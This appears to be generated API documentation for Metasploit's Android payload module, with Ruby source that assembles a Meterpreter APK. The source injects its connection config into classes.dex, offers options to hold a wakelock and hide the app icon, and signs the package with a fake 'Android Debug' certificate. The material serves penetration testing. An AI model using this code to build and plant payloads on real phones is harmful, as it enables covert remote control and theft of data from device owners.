Module: Msf::Payload::Android

Includes:
TransportConfig, UUID::Options
Included in:
MeterpreterLoader, ReverseHttp, ReverseTcp
Defined in:
lib/msf/core/payload/android.rb

Defined Under Namespace

Modules: MeterpreterLoader, PayloadOptions, ReverseHttp, ReverseHttps, ReverseTcp

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #initialize, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from Pingback::Options

#initialize

Instance Method Details

#fix_dex_header(dexfile) ⇒ Object

Fix the dex header checksum and signature source.android.com/tech/dalvik/dex-format.html



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# File 'lib/msf/core/payload/android.rb', line 16

def fix_dex_header(dexfile)
  dexfile = dexfile.unpack('a8LH40a*')
  dexfile[2] = Digest::SHA1.hexdigest(dexfile[3])
  dexfile[1] = Zlib.adler32(dexfile[2..-1].pack('H40a*'))
  dexfile.pack('a8LH40a*')
end

#generate(opts = {}) ⇒ Object

Used by stagers to construct the payload jar file as a String



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# File 'lib/msf/core/payload/android.rb', line 37

def generate(opts={})
  generate_jar(opts).pack
end

#generate_config(opts = {}) ⇒ Object 



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# File 'lib/msf/core/payload/android.rb', line 45

def generate_config(opts={})
  opts[:uuid] ||= generate_payload_uuid
  ds = opts[:datastore] || datastore

  config_opts = {
    ascii_str:  true,
    arch:       opts[:uuid].arch,
    expiration: ds['SessionExpirationTimeout'].to_i,
    uuid:       opts[:uuid],
    transports: opts[:transport_config] || [transport_config(opts)],
    stageless:  opts[:stageless] == true
  }

  config = Rex::Payloads::Meterpreter::Config.new(config_opts).to_b
  flags = 0
  flags |= 1 if opts[:stageless]
  flags |= 2 if ds['AndroidMeterpreterDebug']
  flags |= 4 if ds['AndroidWakelock']
  flags |= 8 if ds['AndroidHideAppIcon']
  config[0] = flags.chr
  config
end

#generate_default_stage(opts = {}) ⇒ Object 



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# File 'lib/msf/core/payload/android.rb', line 30

def generate_default_stage(opts={})
  ''
end

#generate_jar(opts = {}) ⇒ Object 



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# File 'lib/msf/core/payload/android.rb', line 111

def generate_jar(opts={})
  config = generate_config(opts)
  if opts[:stageless]
    classes = MetasploitPayloads.read('android', 'meterpreter.dex')
    # Add stageless classname at offset 8000
    config += "\x00" * (8000 - config.size)
    config += 'com.metasploit.meterpreter.AndroidMeterpreter'
  else
    classes = MetasploitPayloads.read('android', 'apk', 'classes.dex')
  end

  config += "\x00" * (8195 - config.size)
  classes.gsub!("\xde\xad\xba\xad" + "\x00" * 8191, config)

  jar = Rex::Zip::Jar.new
  files = [
    [ "AndroidManifest.xml" ],
    [ "resources.arsc" ]
  ]

  files.each do |file|
    path = ['android', 'apk', file].flatten.join('/')
    contents = ::MetasploitPayloads.read(path)
    jar.add_file(file.join('/'), contents)
  end

  jar.add_file("classes.dex", fix_dex_header(classes))
  jar.build_manifest

  sign_jar(jar)

  jar
end

#generate_stage(opts = {}) ⇒ Object

We could compile the .class files with dx here



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# File 'lib/msf/core/payload/android.rb', line 26

def generate_stage(opts={})
  ''
end

#java_string(str) ⇒ Object 



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# File 'lib/msf/core/payload/android.rb', line 41

def java_string(str)
  [str.length].pack("N") + str
end

#sign_jar(jar) ⇒ Object 



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# File 'lib/msf/core/payload/android.rb', line 68

def sign_jar(jar)
  x509_name = OpenSSL::X509::Name.parse(
    "C=US/O=Android/CN=Android Debug"
  )

  key = signing_key

  cert = OpenSSL::X509::Certificate.new
  cert.version = 2
  cert.serial = 1
  cert.subject = x509_name
  cert.issuer = x509_name
  cert.public_key = key.public_key

  # Some time within the last 3 years
  cert.not_before = Time.now - rand(3600 * 24 * 365 * 3)

  # From http://developer.android.com/tools/publishing/app-signing.html
  # """
  # A validity period of more than 25 years is recommended.
  #
  # If you plan to publish your application(s) on Google Play, note
  # that a validity period ending after 22 October 2033 is a
  # requirement. You cannot upload an application if it is signed
  # with a key whose validity expires before that date.
  # """
  #
  # 32-bit Ruby (and 64-bit Ruby on Windows) cannot deal with
  # certificate not_after times later than Jan 1st 2038, since long is 32-bit.
  # Set not_after to a random time 2~ years before the first bad date.
  #
  # FIXME: this will break again randomly starting in late 2033, hopefully
  # all 32-bit systems will be dead by then...
  #
  # The timestamp 0x78045d81 equates to 2033-10-22 00:00:01 UTC
  cert.not_after = Time.at(0x78045d81 + rand(0x7fffffff - 0x78045d81))

  # If this line is left out, signature verification fails on OSX.
  cert.sign(key, OpenSSL::Digest.new('SHA1'))

  jar.sign(key, cert, [cert])
end

#signing_key ⇒ Object 



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# File 'lib/msf/core/payload/android.rb', line 8

def signing_key
  @@signing_key ||= OpenSSL::PKey::RSA.new(2048)
end